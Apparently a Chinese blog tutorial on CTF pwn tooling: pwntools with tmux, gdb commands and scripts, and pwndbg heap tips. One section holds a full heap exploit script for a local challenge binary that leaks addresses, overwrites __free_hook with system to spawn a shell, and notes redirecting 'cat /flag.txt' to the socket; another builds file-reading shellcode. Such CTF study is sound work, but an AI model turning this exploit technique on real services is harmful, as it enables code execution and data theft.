pwntools+tmux & gdb+pwndbg

2024-07-23

1. pwntools+tmux

在用pwntools进行ctf pwn题目调试时,通常会利用类似gdb.attach(p)的代码来调试,通常情况下,这回弹出另一个命令行
但是你用tmux来进行调试,它会把一个命令行划分成2个pane,可以同时操作,界面美观还方便

1.1 pwntools&tmux 安装教程

对于pwntools而言,只需执行如下命令即可。

pip install pwntools

对于tmux,在ubuntu20虚拟机下,执行如下命令:

sudo apt install tmux 

1.2 pwntools+tmux联合使用教程

开启命令行后,使用如下命令:

tmux

这会开启一个tmux的服务端
然后,python编写如下代码:

from pwn import *
log.level = "debug"
context.terminal=["tmux","splitw","-h"]

io = process(["./cts","8888"])
p = remote("127.0.0.1","8888")
gdb.attach(io)

p.interactive()

在执行了tmux命令的terminal下执行python3 test.py(上述脚本名称),即可看到如下视图
可以看到,使用gdb.attach(io)后,直接从当前terminal分成2个,方便调试。

1.3 tmux快捷键

tmux情境下,使用命令前都需要打出ctrl+b作为前缀,这里列出比较常用的几个:

ctrl+b o : 切换同一个session下的不同pane

tmux detach: 脱离会话,但是会话不会消失
tmux kill-server: 删除所有会话

指导文档:
https://matpool.com/supports/doc-tmux-matpool/里有大量的tmux命令教程

1.4 pwntools启动gdb并下断点

在pwntools下下断点可以这么用

gdb.attach(io,"b *$rebase(0x20AF)\nb *$rebase(0x21EE)")
p.interactive() # 保持交互,防止程序退出

1.5 pwntools脚本常用代码

from pwn import *
context.log_level="debug"
context.terminal=["tmux","splitw","-h"]

libc_path = "./libc-2.31.so"
libc = ELF(libc_path,checksec=False)
io = process(["./cts","8888"],env={"LD_PRELOAD":libc_path})
p = remote("127.0.0.1","8888")
p_sock = p.sock

r = lambda s      :p.recv(s)
ru = lambda s     :p.recvuntil(s)
rl = lambda       :p.recvline()
s = lambda s      :p.send(s)
sl = lambda s     :p.sendline(s)
sa = lambda a,s   :p.sendafter(a,s)
sla = lambda a,s  :p.sendlineafter(a,s)

def wrap_packet(op,size,content):
    payload = b""
    payload += p64(op)
    payload += p64(size)
    payload += content
    return payload

def create(size,content):
    payload = wrap_packet(0,size,content)
    s(payload)
    sleep(1)
    return

def print_data(idx):
    payload = wrap_packet(2,idx,b"")
    s(payload)
    sleep(1)
    return

def edit(idx,content):
    payload = wrap_packet(3,idx,content)
    s(payload)
    sleep(1)
    return

def free(idx):
    payload = wrap_packet(1,idx,b"")
    s(payload)

def send_oob(idx):
    payload = b""
    payload += p8(idx)
    p_sock.send(payload,socket.MSG_OOB)


main_addr = r(16)[:14]
main_addr = int(main_addr,10)
program_base_addr = main_addr-0x1360
log.info("get main_addr: {}".format(hex(main_addr)))

gdb.attach(io)
pause()
for i in range(10):
    create(0x30,b"\x00"*0x2f)
    sleep(0.5)
for i in range(7):
    free(i)
    sleep(3)
sleep(1)
free(7)
sleep(0.5)
send_oob(7)
sleep(0.5)
send_oob(8) # only idx 9 exists!
sleep(3)
for i in range(3):
    create(0x10,b""*0xf)
    sleep(1)
create(0x10,b"") # idx 3.data_chunk
sleep(1)
create(0x50,b"")
sleep(1)
create(0x50,b"") # idx 5.info_chunk = idx 3.data_chunk
pause()
log.info("program_base_addr: {}".format(hex(program_base_addr)))
stdout_addr = program_base_addr+0x4020
stdout_addr = p64(stdout_addr)
edit(3,stdout_addr)
print_data(5)
pause()

stdout_addr = r(6)
stdout_addr = int.from_bytes(stdout_addr,"little")
log.info("stdout_addr: {}".format(hex(stdout_addr)))
libc_base = stdout_addr -0x1ed6a0
log.info("libc_base:{}".format(hex(libc_base)))
free_hook_addr = libc.sym["__free_hook"] + libc_base
log.info("free_hook_addr:{}".format(hex(free_hook_addr)))

edit(3,p64(free_hook_addr))
edit(5,p64(libc_base+0x52290)) # system addr
edit(9,b"/bin/sh\x00")
# 注意 /bin/sh产生的shell并不在socket中,所以你需要利用文件描述符重定向到socket中
# edit(9,"cat /flag.txt >&4")
send_oob(9)

p.interactive()

1.6 pwntools生成shellcode

最好还是看看官方文档:https://pwntools-docs-zh.readthedocs.io/zh-cn/dev/shellcraft.html

from pwn import *
context.arch='amd64' # 设置架构
sh = shellcraft.amd64.linux.cat("/challenge/toddlerone_level1.0",1)
sh_asm = asm(sh)
print(sh_asm) #shellcode的字节码
# b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$j\x02XH\x89\xe71\xf6\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x01_\x99\x0f\x05'

2. gdb+pwndbg

gdb的可用命令实在是太多了,有很多重要的command,但是你不用就会忘记
所以需要记录一下(之后我好翻哈哈哈)

2.1 gdb调试程序命令

命令 作用
gdb program 调试程序

2.2 gdb常见命令

命令 作用
run arg 不设置断点,直接运行程序
start arg 设置断点在main,并运行至main函数
starti arg 设置断点在_start,并运行至_start函数
attach pid 附加一个正在运行的程序
core PATH 调试程序的dump文件
continue (c) 继续执行程序直到断点
info registers 输出所有寄存器的值
print (p) $rdi 输出rdi寄存器的值,也可以通过p/x $rdi打印十六进制
x/nuf address 查看内存的值,n是数量,u是类型,即b(1 byte)/h(2 bytes)/w(4 bytes)/g(8 bytes), f是格式,即x(十六进制),d(十进制),s(string),i(instruction),address可以是绝对地址,寄存器值,或计算表达式
disassemble(disas) main 反汇编main函数的值
set disassembly-flavor intel 设置反汇编的形式为intel
stepi(si) num 步进,会进入函数调用,num表示步数
nexti(ni) num 步过,不会进入函数调用,num表示步数
finish 完成当前函数运行
break(b) *address 在地址下断点
display/nuf 每执行完一次指令后显示的内容,nuf参数与x命令相同
layout regs 进入TUI(文本用户界面)模式,按ctrl+x+a返回普通模式
set expr 设置某个值,比如 set $rdi=0, set *((uint64_t *) $rsp) = 0x1234, set *((uint16_t *) 0x31337000) = 0x1337
call (ret type)func(arg) 直接调用函数
set unwindonsignal on 该选项开启时,gdb在收到信号时,会尝试还原到调用信号前的状态
set unwindonsignal off 该选项关闭时,gdb在收到信号时,会停在收到信号的指令的位置,该指令已经被执行
delete(d) num 删除断点
info breakpoints 查看断点信息
backtrace bt 查看函数调用栈
frame f 查看当前栈帧
print p 打印变量
info locals 查看局部变量
thread num 切换线程
until 执行到指定行
info signals 查看信号
handle signal keyword(stop/nostop print/noprint/ pass/nopass) 处理信号
watch expr 设置写观察点
rwatch expr 设置读观察点
awatch expr 设置读写观察点

2.3 gdb script用法

gdb script文件的语法就是通常的gdb命令,可以使用:

gdb program  -x <PATH_TO_SCRIPT>

或者:

gdb program -ex <COMMAND>

来运行命令,一个gdb script的文件可以是如下的形式:

set disassembly-flavor intel
start
break *main+709
commands
  silent
  set $local_variable = *(unsigned long long*)($rsi)
  printf "Current value: %llx\n", $local_variable
  continue
end
continuenue

另一个形式:

start
catch syscall read
commands
  silent
  if ($rdi == 42)
    set $rdi = 0
  end
  continue
end
continue

2.4 gdb多线程调试命令

命令 作用
info threads 查看线程ID
thread ID(1,2…) 根据info threads提供的ID号来切换线程
thread apply ID1 ID2 command 可以让相应线程执行相同的命令
thread apply command 让所以线程执行相同命令
set scheduler-locking off/on/step 设置调试线程时其他线程的状态(on是只有被调试线程会运行,off是所有线程都执行
b xxxx thread thread-num 设置线程断点

2.5 gdb命令参考文档

100个gdb小技巧
上述文档是10年前出的,已经比较老旧了,新的gdb功能就没有记录其中,有一个比较重要的更新:
non-stop的用法

set non-stop on
set pagination off
set target-async on

https://www.cnblogs.com/WindSun/p/12785322.html

2.6 pwndbg使用技巧

pwndbg界面下:

heap: 查看当前堆情况

arenas: 查看 main_arena的基本信息

arena: 查看main_arena的具体变量信息

fastbins: 查看fastbins里的列表

vmmap: 查看程序内存映射

b *$rebase(offset):非常方便!!在你运行开启了pie和aslr的程序时,不需要你自己计算偏移下断点。